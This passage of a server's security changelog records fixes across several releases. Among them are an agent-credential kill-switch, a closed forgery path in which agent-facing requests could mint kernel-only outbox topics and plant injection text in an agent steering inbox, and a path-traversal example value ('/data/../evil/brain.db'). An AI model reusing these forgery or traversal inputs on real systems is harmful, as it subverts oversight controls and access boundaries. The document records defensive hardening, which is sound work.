  • M2 (denylist TTL): pure denylist_expires_at(exp, now) with the Option::None escape keeping the operator-revoke default; the verified exp rides request extensions as AccessTokenExp (Copy newtype). Pins: logout_row_outlives_long_lived_idp_token, denylist_row_capped_at_24h, server_minted_logout_unchanged.
  • M3 (kid pinning): VerifyingKey.pinned_alg (Some at every load-path constructor + the jwt test factory), the strict compare after kid lookup, AuthError::AlgMismatchForKid → alg_mismatch_for_kid wired through the handler status map. Pins: rsa_kid_rejects_different_rs_variant, unpinned_kid_keeps_family_behavior.
  • M4/M5 (surface identity): the scan helpers live in tests/main_suite.rs (strip_cfg_test_regions — a string/comment-aware brace stripper so middleware test modules’ /private stubs never pollute the wire scans; collect_registrations; the pure reverse_guard_failures). authz_gates_cover_every_non_public_route was rebuilt on the method-keyed scan (rows marked public skip the authorize-literal demand). spire floors raised in-commit: guard tables 163 → 167 / 147 → 152 rows, CRATE_TEST_FLOOR 1,269 → 1,281.
  • M6 (injection-policy visibility): config::injection_policy_boot_warning called once from the bootstrap (a counting-subscriber pin proves exactly-once for allow and never for quarantine/reject); config::injection_policy_echo feeds the /health/db hardening block; the health-body key pin extended.
  • Live drill 2026-09-07 (COPY of the live 51.6 MB db — the live DB was never touched): release binary, JWT mode, spare port 18799, RSA kid on disk. Pre-revocation: operator (admin:*/*) and victim (read:*/*) both pass (200). POST /ops/agents/revoke {principal: agent:drill-victim} → 200 {revoked: true, runs_drained: 0}. The victim’s NEXT request with the SAME bearer → 401 identity_revoked (body {"code":"identity_revoked","error":"unauthorized"}); a second route (/recall) denies identically. The operator stays 200. /audit/verify → {"domains":{"global":true},"ok":true}. The drill DB’s audit chain carries the revocation row (actor user:drill-operator, status ok) and two denied rows keyed path-only (target = /stats, /recall hashes; identical detail hash — the path-only, token-never law) chained into the live-format hash chain. /health/db echoed injection_policy: "quarantine" (default posture).
  • Wire: openapi.yaml additive (the IdentityRevoked 401 response component, the injection_policy health field, the bearerAuth scheme note); api.md gained the revocation paragraph + security.txt row; route tables gained the four rows above; x-api-version moves with the Cargo version (the wire contract moved additively); schema untouched.
  • Honest ceilings / deviations: the connector-stub spawn test (a documented live-server integration test) raced ONCE during the gate — the live server stalled 12.6s under the parallel Meridian line’s load and the stub’s 15s read timeout fired; it passed on rerun and is pre-existing test-infra (the AGENTS.md known-flaky class), untouched. Hot-reload key rotation stays register (X-A3b — restart-rotation documented); /metrics label scoping stays with Twokeys (X-A5); no background revocation worker (decision-time checks only, the house mantra); no per-route revocation granularity (identity-wide IS the contract); legacy jti-less capability tokens stay expiry-only for replay (documented ceiling, the identity check does not depend on jti).

[1.28.63] — 2026-09-06 — “Wardline”: reserved vocabulary at the workflow input seam — the SEAM LINE opens

One milestone, one law made true in code: kernel-only outbox topics can no longer be forged through the agent-facing events route. The honest disclosure first: between v1.28.43 (when the events route shipped) and this release, the three-gate channel law was CODE-FALSE at the outbox seam — POST /workflow/runs/{id}/events could mint channel/out, channel/ping, steering, and workflow/valet* rows with none of the gates those topics promise, and the drains trusted the table. Found in the 2026-09-06 security audit (§4.1 X-W1…X-W5); verified live against a DB copy before the fix (the forged envelope was delivered by the real HMAC bridge drain), and verified dead the same way after.

Release notes

Security fixes

  • Reserved outbox topics (channel/*, steering, workflow/valet*) are kernel-only. The single gate lives in enqueue_child (the shared function, not a per-caller check) behind RESERVED_OUTBOX_TOPICS — one pub const in workflow::outbox — with a pub(crate)-constructor KernelOrigin token held by exactly four kernel writers (enqueue_out, enqueue_ping, the steering inbox write, the valet crank). The events route now refuses reserved topics with 400 topic_reserved + a denied audit row on the workflow chain (outbox_reserved_refused topic=…) — error paths deny loudly, never a silent drop.
  • The run-status vocabulary is closed. PUT /workflow/runs/{id}/state accepts only active | cancelled | closed | completed | fired | resolved (frozen from the observed writers/readers: open_run, the revocation drain, the valet crank, the workload acceptance; kcs capture, scoreboard, relay’s run guard). Unknown values refuse 400 unknown_status + audit row. CAS semantics untouched.
  • The valet label fence is function-held. The injection screen moved INTO stamp_state (and the new open-path vet): a valet/% run opened over HTTP with a screen-Reject or Quarantine label refuses 400 screen_rejected; a state that is not a readable valet envelope refuses 400 valet_state_invalid. Both screen verdicts refuse — an operator-channel label has no quarantine destination.
  • The alert bus authenticates the valet/due kind. A workflow/valet* row publishes under the trusted valet/due kind only when its idempotency key carries the crank’s valet- prefix (no new provenance column — the prefix IS the kernel signature today); anything else publishes as the generic workflow kind.

Bug fixes

  • None reported.

Improvements

  • openapi.yaml documents the two new 400 shapes and the status enum; docs/api.md notes the reserved-topic and closed-status contracts. No route additions (route-coverage / route-authz tables unchanged); no schema change; x-api-version unchanged.

Behavior-change ledger (previously-accepted requests that now refuse — documented, not silent)

ChangeBefore → After
POST /workflow/runs/{id}/events with topic channel/*, steering, workflow/valet*accepted (forge) → 400 topic_reserved + audit row
PUT /workflow/runs/{id}/state with an unknown statusaccepted → 400 unknown_status + audit row
POST /workflow/runs with kind=valet/% + screen-Reject/Quarantine whatstored unscreened → 400 screen_rejected
POST /workflow/runs with kind=valet/% and non-envelope statestored (inert, drifted) → 400 valet_state_invalid
alert-bus valet/due kindany workflow/valet* row → only valet--keyed rows

Engineering record

  • Live drill, DB copies only (the live DB was never touched; copies destroyed after). BEFORE (v1.28.62 binary, ad4ede8): forged channel/out → row landed → the real HMAC drain (POST /webhooks/channel/signal/drain) delivered the forged envelope to the bridge; forged channel/ping → claimed+delivered; steering with injection text → landed in the inbox read; status="zzz_arbitrary" → written to the run row; forged workflow/valet-due → drained and published by the trusted alert worker within one 2 s tick. AFTER (this release): all four forgery shapes → 400 topic_reserved; arbitrary status → 400 unknown_status; injected valet label → 400 screen_rejected; five denied audit rows on the workflow chain; the drain returns an empty batch (nothing forged exists to deliver); /ump/audit/verify ok; positive controls (workflow/log enqueue, clean CLI-shaped valet open) still 200.
  • Pins (11 new; CRATE_TEST_FLOOR 1,256 → 1,267): reserved_vocabulary_ semantics, enqueue_child_refuses_reserved_topics, kernel_writers_still_mint_reserved_rows, kernel_steering_still_enqueues, reserved_refusal_converts_to_loud_sql_error, kernel_enqueue_out_still_lands_channel_rows, forged_valet_due_publishes_as_generic_not_valet_kind, stamp_state_screens_like_ingest, valet_crank_still_fires_clean_reminders, vet_open_state_holds_the_ fence, and the M4 meta-pin reserved_topics_are_declared_in_one_place (a dup-guard grep: reserved-topic literals in production source fail outside the const + the four kernel writers’ files). Handler-level: post_event_cannot_forge_channel_out/ping/steering_topic, reserved_refusal_writes_audit_row (exact-detail digest), put_state_rejects_unknown_status, put_state_accepts_every_observed_status (the freeze — any new status is a deliberate test edit), run_open_with_injection_what_is_refused.
  • Full suite green with --features bench (lib 1,086 + main_suite 171 + the rest; zero failures); clippy -D warnings on default/bench/otel; CI dry-run set green (default-features build, engine-crates, steward-harness, otel); lipstyk diff-strict green; cargo fmt --check clean.
  • Ceilings (honest): steering is reserved EXACTLY — a hypothetical steering/x sub-topic is not reserved (no consumer exists; extend the const only with a kernel writer that owns the gate). KernelOrigin is a pub(crate) review-and-grep-enforced marker, not a memory-safety boundary — a crate-internal caller COULD mint one, visibly. The alert-bus kind authentication trusts the idempotency-key prefix; a real provenance column stays a non-goal until a second kernel valet writer needs distinguishing. The closed status vocabulary freezes the observed set — a legitimately new status requires the const extension in the same commit as its writer/reader.

[1.28.62] — 2026-09-06 — “Attestation”: provenance marks, the principal kill-switch, the crypto inventory — the Enterprise Line closes

The Enterprise Line’s finale. Three verified gaps close — Art 50(2)-style provenance on engine-generated artifacts, agent credential lifecycle (ASI03/07), and the cryptographic inventory/agility seam — plus the approval-fatigue signal becomes DPO-visible on the scoreboard. Additive only: no breaking wire change, no new crypto primitive, no C2PA claim.

Release notes

Security fixes

  • The principal kill-switch (ASI03/07). A compromised or offboarded agent principal can now be revoked in one call (POST /ops/agents/revoke, Admin on global). Every card use, delegation dispatch, and result submission re-checks the new revoked_principals table BEFORE signature verification and refuses 403 principal_revoked — including re-signed cards (revocation outlives re-provisioning). In the same transaction, every ACTIVE run where the principal owns in-flight delegation work drains through the existing run-cancel path, and the revoke plus every drain land on the hash-chained audit chain. Revocation is fail-closed and probe-blind: a revoked principal’s card lookup refuses before any signature work.
  • Provenance marks on every engine-generated text artifact (Art 50(2) posture). Complaint remedy drafts, ADR packets, outreach export packets, and KB build manifests now carry a machine-readable {"provenance": {"mark": "AIGEN", "generator": "brain-server/<version>", "generated_at", "signed_by", "sig"}} object, Ed25519-signed over a canonical wrapper that binds the artifact body to the mark claim — flip the mark OR one body byte and verification refuses. Human-authored artifacts mark HUMAN with the actor principal. Without an operator key the mark is present but visibly unsigned (never silently unmarked). Honest scope: text artifacts riding existing envelopes — NOT C2PA, no media signing.

Improvements

  • Approval-fatigue telemetry on the scoreboard (ASI09). The console’s rubber-stamp detector arithmetic now runs server-side: GET /workflow/scoreboard (DPO/admin, role gate unchanged) carries review_independence_risk (0|1), approval_uniformity_ratio (integer ten-thousandths), and review_decisions_window — over the same window and sample cap the client fetch uses, pinned verdict-identical to the client detector by scoreboard_uniformity_matches_client_math. docs/metrics.md and metrics/metrics.json gained the three entries in the same commit (the parity meta-test enforces the twins).
  • Cryptographic inventory + algorithm-agility seams (docs/crypto-inventory.md, NCCoE SP 1800-38B shape): every shipped algorithm (Ed25519, HMAC-SHA256, SHA-256, BLAKE3, the RS256/ES/EdDSA JWT family, AES-256-GCM, Argon2id) with its real call sites, what it protects, its harvest-now-decrypt-later verdict, and its swap path. The two agility seams are documented against the real code: the JWT ML-DSA landing procedure (the auth/jwt.rs::ALLOWED_ALGS whitelist is the one gate) and the UMP did:key multicodec version-prefix rule. No PQC is deployed — the classical-signature ceiling is printed, owned.
  • The kill-switch runbook + executed drill (docs/runbooks.md): the four-step procedure with its dated 2026-09-06 record — executed against a copy of the live DB: agent revocation → cards list 403, dispatch 403; owner revocation → runs_drained:1, run cancelled via the existing CAS path, delegation/revoked lineage event observed, /audit/verify ok.
  • Nightly fuzz schedule: the committed brain-fuzz corpus replays every night in CI (plus a compile check of the libFuzzer targets); corpus replay stays in the per-push CI too. The schedule’s compile check caught and fixed a latent libfuzzer-feature warning under -D warnings.
  • SOC 2 trust kit refreshed: docs/trust/proof-map.md carries the Attestation evidence rows (provenance, kill-switch, crypto inventory, uniformity telemetry, calendar-as-code watches).

Engineering record

  • M1 provenance (src/provenance.rs): one attach, one verify. The signature reuses the parcels/standby convention (ump_integrity::sign_manifest_bytes), but the signed message is a canonical wrapper binding body to CLAIM — {artifact, claim: mark / generator / generated_at / actor} — because the naive body-only design let a flipped mark verify (caught by the tamper pin in development). Sealing rides the REAL emission shapes: the remedy-response assembly and the two post-read-seam seal fns in handlers/workflow.rs, and the KB writer (kb::sealed_manifest_json inside write_artifact — the pure manifest_json digest rule is byte-unchanged, the seal adds one field). Pins: provenance_marks_present_on_all_four_classes (drives the real producer fns end-to-end), tampered_provenance_fails_verify (flipped sig, flipped mark, tampered body × every class), unsigned-degradation, HUMAN-actor, round-trip. reg_watch ai_act_art50_marking_watch flipped WATCH → ai_act_art50_marking_deliverable: the 2026-12-02 horizon stays stamped; the pin asserts the module, the four wiring points, and the meta-tests exist. openapi response schemas carry the additive provenance property (x-api-version UNCHANGED); api.md rows in-step.
  • M2 kill-switch: additive migration revoked_principals (schema stamp → 1.28.62, SCHEMA_VERSION_V1_28_62 in storage_layout). Enforcement points: verify_card (pre-signature, pre-lookup), request_delegation (revoked dispatcher refuses before any write; revoked target via verify_card), submit_result (decision-time re-check). The drain: the revocation upsert + hash-chained auth audit row + a bounded sweep of active runs owning in-flight delegations, cancelled via workflow::state::cas_update (the EXISTING path PUT /workflow/runs/{id}/state serves) with per-run audit rows and delegation/revoked lineage events; CAS-stale races skip (the decision-time re-checks still refuse). Routes: POST /ops/agents/revoke (Admin on global — identity-wide, not domain-scoped) + GET /ops/agents/revocations (Read); openapi + both guard tables + api.md in the same commit. Pins: revoked_principal_cards_fail_closed, revoked_owner_no_new_dispatch; the authz matrix gained the route’s body template. reg_watch::revocation_drill_recorded green.
  • M3 uniformity: workflow::scoreboard::approval_uniformity — the verdict expression is the client’s f64 form verbatim (same divide, same compare; the exactly-0.9 boundary resolves identically); the ratio is the house integer ten-thousandths. The data fn mirrors the client’s fetch (trailing 7 days on created_at, latest 200 per status, decided-only). Scoreboard visibility NOT widened (inherits the existing DPO/admin pair). Dictionary twins (docs/metrics.md ASI09 section + metrics.json, full attribution) landed in the same commit — the meta-test reds otherwise.
  • M4 crypto inventory: see the Improvements row; reg_watch pqc_inventory_seam_watch flipped WATCH → pqc_inventory_seam_deliverable (horizon 2030-12-31 stamped; the pin asserts the SP 1800-38B anchors, all seven algorithm families, and that both seams still name their real files). The watch module’s clock machinery (Hinnant civil-date conversion) keeps a self-test pin for the next WATCH-form deadline.
  • Live proof (COPY of the live 50.6 MB db, drill token, spare port): kill-switch drill as recorded in docs/runbooks.md; the ADR packet and the KB build manifest carried valid signed AIGEN marks (digests unmoved); 21 digest-bound approvals through the real approve verb flipped the scoreboard from risk 0 / ratio 0 / 0 decisions to risk 1 / ratio 10000 / 21. The M1 tamper refusal is pinned by tests (the live capture shows the sealed artifacts).
  • Validation: full suite 1,256 #[test] (CRATE_TEST_FLOOR 1,244 → 1,256); clippy -D warnings clean on default/bench/otel; engine crates + steward-harness green; lipstyk diff-strict clean; openapi coverage + authz-matrix + docs-truth guards green. main.rs untouched (net delta 0); wire/schema additive only.
  • Ceilings (honest): provenance marks are TEXT-artifact marking, not C2PA/media signing; unsigned marks verify-fail by design (an operator without an operator key ships visibly unsealed artifacts); the kill-switch gates the mesh decision paths, not the JWT layer (that is auth/revocation.rs, separate machinery); the drain covers runs the principal OWNS in-flight work on, not historical participation; no PQC primitive is deployed — JWT ML-DSA waits on the IdP, UMP signatures land via the did:key multicodec prefix; the uniformity detector is a heuristic (a reviewer-baseline cohort tooling remains v2.x); the drill binary was built pre-version-bump (stamped 1.28.61 — the drill record notes it).

[1.28.61] — 2026-09-06 — “Standby”: the warm-standby core; the seven open CodeQL alerts closed

Two lines land together. The warm-standby core (ship cycle, signed follower manifests, rehearsed promote-check) rides the standby-m1 commits; this section’s scope is the security half — the full CodeQL triage and closure of every open GitHub code-scanning alert, three families across six sink sites.

Release notes

Security fixes

  • Path injection (×3 alerts, high) — the DB-size probes no longer touch the filesystem at all. The three capacity surfaces (guard_capacity, the shared measure_capacity, the /health/db detail probe) measured the database by statting a state-derived path (fs::metadata(&state.db_path)); they now read the size through the open SQLite connection (PRAGMA page_count × page_size), so no request- or config-derived path expression remains on the surface (the same fix landed on the handlers-side twin whose alert had been dismissed earlier). Additionally, a .. component in BRAIN_DATA_ROOT now fails layout resolution and in BRAIN_DB_PATH falls back to the layout default instead of being honored verbatim — a hostile storage-env knob can no longer move the database outside the stated tree (every derived path — legacy DB, domain DBs, backups, registry — inherits the refusal).
  • Log injection (×1 alert, medium) — request-derived values are scrubbed before they reach a log line. The markdown-ingest handler’s post-commit failure logs now pass the payload-supplied domain through sanitize_log_value (control characters → space/removed); a crafted newline in a request could otherwise forge entries in the journald/launchd log stream. The stored value is unchanged — the scrub is logging-only.
  • Cleartext logging (×3 alerts, high) — the DSAR deletion certificate is no longer interpolated into test assertion failure messages. The certificate carries personal-data handling detail; failing asserts now reference the fixture row ids instead. Assertion behavior is unchanged.

Improvements

  • The warm standby, end to end (brain standby start|status|promote-check): the shipper cycles a PASSIVE checkpoint, the encrypted base (the backup v3 writer), and the WAL chunk — every byte at rest on the follower is AES-256-GCM sealed, manifests are Ed25519-signed and verified with recomputed artifact hashes, and status fails closed on any tamper or torn cycle. promote-check is the rehearsed drill: the shipped restore path into a temp dir, PRAGMA integrity_check, measured RTO and computed RPO (interval + checkpoint lag) on the exit code. The shipper is an operator-run process (launchd/systemd snippets in deployment.md) — never a server thread. Full narrative + the dated drill record in the engineering record below.
  • The CLI reference law: cli_reference_covers_subcommands parses the SUBCOMMANDS table and fails when any command lacks a cli-reference.md row — it closed four pre-existing gaps (brain parcel, wfm-import, valet, ropa had shipped with no reference rows) and now guards every future command.

Bug fixes

  • None.

Engineering record — the CodeQL security triage

All seven open alerts were raised by the security-extended suite against commit 1d313e3 (the Loom feature commit). Triaged and closed in the same release:

  • Path injection (rust/path-injection, CWE-22): the analyzer’s flows do NOT originate in the storage env vars — the SARIF code flows run from the axum handler State extraction (route registration → handler body → the state parameter entering the guard) into the three flagged fs::metadata(&state.db_path) size probes (guard_capacity, the shared measure_capacity, and the /health/db detail stat). Two-part closure: (1) the sink is ELIMINATED — the DB size is now measured through the open connection (PRAGMA page_count × page_size, the new capacity::db_size_bytes), so no path argument exists on the capacity surfaces at all; measure_capacity lost its &Path parameter and the /health/db + /metrics handlers no longer clone state.db_path. The handlers-side twin got the same fix (its alert had been operator-dismissed earlier — same shape). (2) The env reads in storage_layout gained fail-closed traversal refusal anyway (a .. component in BRAIN_DATA_ROOT/BRAIN_DB_PATH now falls back to the layout default — real hardening against a hostile env knob, independent of the analyzer): resolve_root returns StorageLayoutError::InvalidRoot for a traversal-carrying data root (the same shape as the existing non-absolute refusal), and legacy_db moved onto a pure env-independent core (legacy_db_from) so the fallback is unit-pinned without process-env mutation. Behavior change, deliberate: a BRAIN_DB_PATH like /data/../evil/brain.db now resolves to the layout default instead of being honored.
  • Log injection (rust/log-injection, CWE-117): the flagged sink is the centroid-refresh failure eprintln! in the markdown ingest handler; the source is the payload-supplied domain (the sibling document_id log is server-generated and untouched). sanitize_log_value (in server/router/memory.rs) strips the line-forging characters at the log seam; the DB write above it keeps the bound, unscrubbed value.
  • Cleartext logging (rust/cleartext-logging, CWE-532): the DSAR certificate variable is sensitive by name heuristic; the three flagged sites were assert!/assert_eq! failure messages in the legal-hold/DSAR integration test interpolating it wholesale. Messages now carry the fixture ids (held_id/free_id); the asserted predicates are byte-identical.

Pins: resolve_root_rejects_traversal_data_root, resolve_root_refuses_traversal_db_path_and_falls_back, legacy_db_from_refuses_traversal_values (the refusal matrix incl. the trimmed-value back-compat case), db_size_bytes_measures_through_the_open_connection (the path-free measurement contract), and sanitize_log_value_strips_line_forging_characters. The code fixes rode the standby-m1 commit (41c67c9) for landing; this entry is their record.

Ceilings (honest): the traversal guard is lexical — it refuses .. components but does not canonicalize symlinks, and the storage env vars remain operator-controlled knobs; the page-count measurement equals the main DB file’s size (WAL excluded from both shapes), so the envelope’s db_mib input shifts only by page-alignment; the log scrub is applied at the flagged seam, not swept across every log site (the unflagged sites log server-generated identifiers or numerics); the analyzer’s alert closure is verified on the post-push re-scan.

Engineering record — the warm standby

M1 in five commits. The shared signing primitive came first: ump_integrity::sign_manifest_bytes (Ed25519 over the lowercase-hex SHA-256 STRING of the bytes — the parcels convention), with parcels refactored onto it and pinned byte-identical by parcel_signature_bytes_unchanged, which recomputes the pre-extraction formula inline with raw dalek calls (Ed25519 is deterministic; equal inputs, equal signatures). Then the core (src/standby.rs): ship_cycle — PASSIVE checkpoint → base.v3 via the SHIPPED backup v3 writer (Argon2id/AES-256-GCM, no new crypto) → wal/NNNN.frame-chunk copied AFTER the base, because the writer’s snapshot step TRUNCATEs the WAL and an earlier-copied chunk would replay pre-base frames over the newer restore (the load-bearing order, commented at the site) → the manifest signed and written LAST so artifacts are always whole; chunks ride backup::encrypt_v3_blob (the same v3 envelope) so NO unencrypted byte sits at rest on the follower. verify_follower verifies the signature over the exact manifest bytes and recomputes every artifact hash — any mismatch is Err (fail closed). promote_check reuses the shipped restore path, decrypts the chunk into the restored db’s WAL (SQLite recovery folds it in on open; sqlite-vec is registered process-wide first — the real corpus carries vec0 tables), runs PRAGMA integrity_check, and times restore/open/verify. RPO is the pinned arithmetic promote_check_rpo_math: interval + measured checkpoint lag — the follower-side twin of the v1.28.58 brain_wal_pages_pending gauge, which is the primary-side view of the same pending work.

CLI surface through THE SUBCOMMANDS table (help cannot drift from dispatch): start (interval floor 5s — two Argon2id derivations per cycle; resumes the cycle counter from the verified manifest else the highest chunk, resume_cycle-pinned; stops after 3 consecutive failed cycles), status (the integrity self-check IS the command — tamper exits 1), promote-check --from (PASS/FAIL gates the exit code). New spire pin cli_reference_covers_subcommands (≥40-name anti-vacuous floor).

The drill, executed (2026-09-06, against a COPY of the live 48.8 MB db — online-backup API, live server kept serving; release build; real operator key): 3 cycles @10s, lag 425/406/414 ms, rpo_max 10.4s; a 301-row burst carried visibly (base 48,824,639 → 48,910,655 B); status integrity OK; promote-check RTO 0.55s (restore 0.37s / open+integrity 0.18s), RPO 10.4s, PASS; promoted fidelity 9,091 rows (8,790 + 301) with the row committed after the last cycle honestly ABSENT (inside the RPO window); one flipped byte in the shipped chunk failed status closed (exit 1) and a byte-restore healed it. The record lives in docs/runbooks.md, watched by the reg_watch pin standby_drill_recorded (green only when the dated record with measured timings exists — the CRA-drill precedent).

The .bak mechanism proved itself in anger (disclosed): during development rehearsal, a brain restore --force was mis-aimed at the LIVE db (restore’s target is BRAIN_DB_PATH/default, not its positional). The port guard was bypassed, but restore’s automatic pre-restore safety snapshot preserved the full memory; the server was stopped, the snapshot swapped back, and the service re-verified healthy (integrity ok, full row counts). The promote procedure in the runbook now encodes the lesson — target named explicitly via BRAIN_DB_PATH, and --force against a live server is the one step that must never be routine.

Ceilings (honest): RPO is BOUNDED, not zero — at most interval + checkpoint lag after the last chunk can be lost, plus a sub-second race (a commit that lands, gets fully checkpointed, and has its WAL reset inside the cycle’s copy window self-heals in the next cycle’s base but is lost if the primary dies inside that window and you promote the stale cycle). Warm, not hot: promote is manual and rehearsed; nothing fails over by itself. Single-region; client reconnect is manual. Chunk history accumulates (≈ wal_size × cycles of disk). A torn interrupted cycle fails status closed until the next cycle lands. The interval floor exists because each cycle runs two Argon2id derivations. main.rs untouched (net delta 0); wire/schema unchanged; CRATE_TEST_FLOOR 1,228 → 1,244.


[1.28.60] — 2026-09-06 — “Loom”: CPU parallelism as an opt-in, determinism-proven tier

The Enterprise Line’s third milestone. Batch ingest embed + the near-dup scan’s preprocessing were serial CPU work inside spawn_blocking; on desktop-class targets with the CPU-bound neural profile that leaves real throughput unclaimed, while the Jetson memory doctrine forbids spending cores at all. Loom adds rayon behind THREE gates (the loom cargo feature compiled, the capacity target != jetson, and BRAIN_LOOM=1 with a fail-closed parse — unknown values refuse boot, the WRITE_POSTURE/durability pattern), a pool capped at min(cores-1, 4) so ingest never starves the tokio blocking pool, and EXACTLY two fan-out sites enumerated in the plan file so a third cannot arrive without an amendment. Every fan-out is an ordered per-item map — no cross-chunk reduction exists, pinned — so results are byte-identical to serial in both feature states. No routes, no schema movement, no default-behavior change of any kind (default build: zero new dependencies, rayon is optional and uncompiled).

Release notes

Bug fixes

None.

Improvements

  • Opt-in CPU parallelism (BRAIN_LOOM=1, feature loom): the batch ingest embed stage (UMP ?format=ump / ump-md multi-record batches) and the consolidate near-dup scan’s pure-CPU preprocessing (dequantize + serialize; the KNN loop stays serial on the shared &Connection by design) fan out across a capped rayon pool when ALL THREE gates hold. Default: off in every dimension — the serial path is byte-identical to v1.28.59’s. /health/db echoes the boot decision (loom: active (N threads) | off:no-feature / off:jetson / off:env).
  • Determinism, proven at three levels: unit pins (loom_preserves_fused_ranks over a frozen gold corpus through the real cosine/eval paths, loom_batch_order_invariant as a proptest over shuffled batches, jetson_never_looms, loom_thread_cap_respected, fail-closed parse) AND live byte-equality — the stored vector index hashes identically across loom/serial postures after both proof bursts — AND eval floors identical to three decimals in both postures (r@5 0.976, r@10 0.991, mrr 0.956).

Engineering record

  • M1: src/loom.rs — decide/resolve (pure resolution core, unit-pinned over the full matrix; the parse refuses before any other gate so a typo never slides), cap_from (min(cores-1, 4), floored 1), install/pool (once-only boot install; failed build degrades to serial, the safe direction), fan_out (the one ordered seam) + fan_out_with_pool (the test seam). AppState carries the resolved LoomState; bootstrap resolves beside durability and installs the pool.
  • M2 site 1 (81249ea): the multi-record ingest loop pre-computes every lowered record’s embedding in ONE spawn_blocking via loom::fan_out when active; ingest_one gains precomputed_embedding: Option<Vec<f32>> (None = today’s encode exactly — the degradation direction on any miss is serial, never blocked). Store order, dedup, audit untouched.
  • M2 site 2 (68687e3): find_near_duplicates collects raw int8 blobs, then fans the dequantize + little-endian serialize pass out; row order == ORDER BY k.id preserved by the ordered collect. The KNN loop stays serial: rusqlite Connection is !Sync and the plan sanctions no pool restructure.
  • Proof: docs/LOOM_PROOF_20260906.md + BENCHMARKS §v1.28.60 — echo in all four states, live boot refusal, byte-identical vec index (sha256) across postures after both bursts (9 291 / 9 371 vectors), wall-clock + RSS deltas. Honest finding: the static potion tier is too cheap for the fan-out to pay (neutral-to-slightly-negative); the value case is the neural enterprise profile, unmeasured here. CRATE_TEST_FLOOR 1,221 → 1,228 (the seven loom pins). main.rs untouched (net delta 0).
  • Gates: clippy + tests green in BOTH feature states (default tree and --features loom); eval floor after each fan-out commit; CI dry-run set green (default clippy/test, engine-crates, steward-harness, otel); lipstyk diff-strict.
  • Ceilings (honest): the ratchet’s speed story is determinism-first — the static profile gains nothing (opt-in by design, so nobody pays); Jetson hardware unmeasured (no ARM runner — standing CI gap); run order in the proof pairs not randomized; the neural-tier win is asserted from per-item cost shape, not measured; site 2’s live run is via the shared byte-identity check, not a dedicated scan benchmark.

[1.28.59] — 2026-09-05 — “Headroom”: the write-path policy made explicit, pinned, and machine-guarded

Documentation-first release wearing a test harness. The write path was correct (BEGIN IMMEDIATE via WorkflowTx since the lane’s founding) but its POLICY was implicit: the pragma set lived in a one-line inline closure, durability was whatever SQLite’s compile defaults turned out to be, and lock critical sections were documented only in prose. Headroom makes all three explicit — per-capacity-target envelope fields with defaults equal to the measured pre-change behavior (behavior-neutral by construction, pinned), a fail-closed env override pair, per-connection application where it actually takes effect, a boot-time echo, lock-bounds comments on every production Mutex/RwLock site, acquire-wait telemetry, and the write-discipline ratchet. No route changes, no schema movement; main.rs untouched (net delta 0, the thin binary stands); x-api-version moves with the release stamp only.

Release notes

Bug fixes

  • --features rerank-tier builds again: server::bootstrap named search::rerank::warmup() without the search module in scope (pre- existing break — the feature is not in any CI job, which is why it went unnoticed). One-line path fix; no behavior change on any default build.

Improvements

  • Durability policy as configuration (BRAIN_SYNCHRONOUS, BRAIN_WAL_AUTOCHECKPOINT): per-connection SQLite pragmas on the MAIN pool are now envelope fields (synchronous_mode, wal_autocheckpoint_pages) applied at EVERY pooled connection’s init beside busy_timeout — previously only busy_timeout was per-connection and synchronous silently reset to the compile default (FULL) on every reconnect while NORMAL from the migration connection never propagated. Defaults equal the measured pre-change behavior; normal (the WAL-mode tuning posture) and any page threshold 1..=65536 are one env var away; unknown values refuse boot (the BRAIN_WRITE_POSTURE pattern). The applied policy is echoed by /health/db under durability.
  • Lock-wait telemetry: 15 request-path lock holders (token store, rate limiter, replay cache, revocation cache, audit chain keys, domain registry, embed/rerank/screen models, the workflow lane, …) now record acquire-wait into a fixed integer bucket histogram — only on the CONTENDED path (try_lock fast path costs zero clock reads). Two new /metrics gauges, brain_lock_wait_micros_p50 / p95, derive bucket-quantiles at scrape. First live readings: ≤10 µs at desktop load — headroom demonstrated, not assumed.
  • Write-discipline ratchet (tests/write_discipline.rs): the deferred- transaction inventory (38 sites across 21 files) is frozen as per-file ceilings with a file:line-list failure on growth; the IMMEDIATE discipline (20 sites) is floored. New read-modify-write transitions must route through WorkflowTx::begin or edit the baseline deliberately.
  • Lock-bounds audit: every production Mutex/RwLock site (19 fields) carries a bounds comment — what the critical section may touch, its poison posture, and whether the holder is request-path. The two deliberate exceptions (domain-registry cold open, the single-flight lane) are named as such.

Security fixes

  • None (no behavior change on any default target; the envelope-defaults pin enforces).

Engineering record

Milestones (per IMPLEMENTATION_PLAN_v1.28.59_Headroom.md + execution prompt):

  • M1 — write_paths_are_immediate: the plan claimed “the allowlist is empty on arrival — write discipline already routes through tx.rs”. The claim did not survive re-verification (the prompt’s own stale-cite rule): production transaction construction is a REAL, established pattern here — handlers construct transactions but delegate every statement to service cores (the no-SQL gate counts statements, not BEGINs), plus sanctioned seams (the lane, the audit settle, revocation rotation). Shipped instead: the Plumb debt-lock pattern as a ratchet — DEFERRED inventory frozen at 38 sites / 21 files (down-only, unlisted-file hits fail, below-baseline progress prints deltas), IMMEDIATE inventory floored at 20 sites (up- only), cfg(test) stripped via the house split idiom, positive controls on workflow/tx.rs, a fence pinning the whole-file-test exclusion (src/search/tests.rs), and a RED-PROOF: a planted conn.transaction() in production config.rs failed the gate with the exact file:line before reverting green. Documented ceiling: code hidden behind a MID-FILE test block escapes the split idiom (the house convention of trailing test regions is the fence — same as the transport-free gate).
  • M2 — durability + checkpoint policy: CapacityEnvelope gains synchronous_mode: SynchronousMode (Full|Normal) + wal_autocheckpoint_pages: u32; capacity::Durability carries the resolved pair and builds the pragma batch (busy_timeout=5000; synchronous=…; wal_autocheckpoint=…). Defaults are the MEASURED pre-Headroom behavior (empirically verified, not assumed: a fresh pooled connection to the WAL DB reported synchronous=2 (FULL) and wal_autocheckpoint=1000 — the compile defaults, because the migration connection’s NORMAL never covered the pool). Pins: envelope_defaults_equal_current_behavior (exhaustive over targets), pool_init_pragmas_read_back (temp-file DB through the production apply path — FULL/1000 default AND NORMAL/256 override), pragma_batch_keeps_busy_timeout, unknown_synchronous_value_refuses (via the resolver pin), wal_autocheckpoint_resolves_and_bounds (0 = autocheckpoint-off refused; 1..=65536 accepted). The inline pool-init closure moved to a named fn (main_pool_connection_init) — the Spire law’s shrink applied to the boot file. journal_mode stays migration-owned (persistent; deliberately not duplicated).
